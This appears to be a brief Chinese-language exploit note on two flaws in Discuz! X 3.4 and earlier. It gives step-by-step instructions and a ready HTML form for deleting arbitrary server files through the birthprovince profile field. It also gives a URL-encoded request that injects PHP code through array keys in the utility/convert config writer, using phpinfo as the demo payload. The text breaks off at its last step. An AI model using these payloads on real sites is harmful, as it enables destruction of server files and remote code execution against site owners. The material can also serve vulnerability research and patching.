!X≤3.4任意文件删除漏洞
先注册用户
先查看源码 找到formhash
发如下包 birthprovince
参数值为删除文件的路径 是相对于"/data/attachment/profile
而言的路径
需要跳三层才能到根目录
formhash
为源码里的formhash
之后再构造如下表单
formhash
同样为上面的
<form action="http://10.211.55.4/Discuz_X3/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="c87af698"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>
之后再选择一张有效图片 否则过不了代码的check 也就触发不了漏洞
提交之后就成功删除
命令执行漏洞
但该目录一般不会对外访问,upload 作为网站根目录
由于对 输入数组的键过滤不严谨导致 输入被写入文件从而命令执行(目前还没修复,一般也不太会出现)
漏洞位置utility/convert/include/global.func.php
触发点位于utility/convert/index.php
首先从index.php
进入do_config.inc.php
条件1 首先满足source
正确存在
检索一下 存在很多随便选一个即可 如s=uch2.0_x1.5
条件2 然后$action == 'config'
即 a=config
条件3 submitcheck()
即 submit=1
条件4 newconfig
为数组
满足上面四个条件即可进入save_config_file
函数
发送如下data数据 将会在 utility/convert/data/config.inc.php
创建文件
a=config&s=uch2.0_x1.5&submit=1&newconfig['diego']='diego'
只有值进行了转译,因此可以代码注入(注入位置为注释部分)
注入\r\n phpinfo();?>
url编码后发送如下
a=config&s=uch2.0_x1.5&submit=1&newconfig[%0d%0aphpinfo();%3f%3e]=a;
最后访问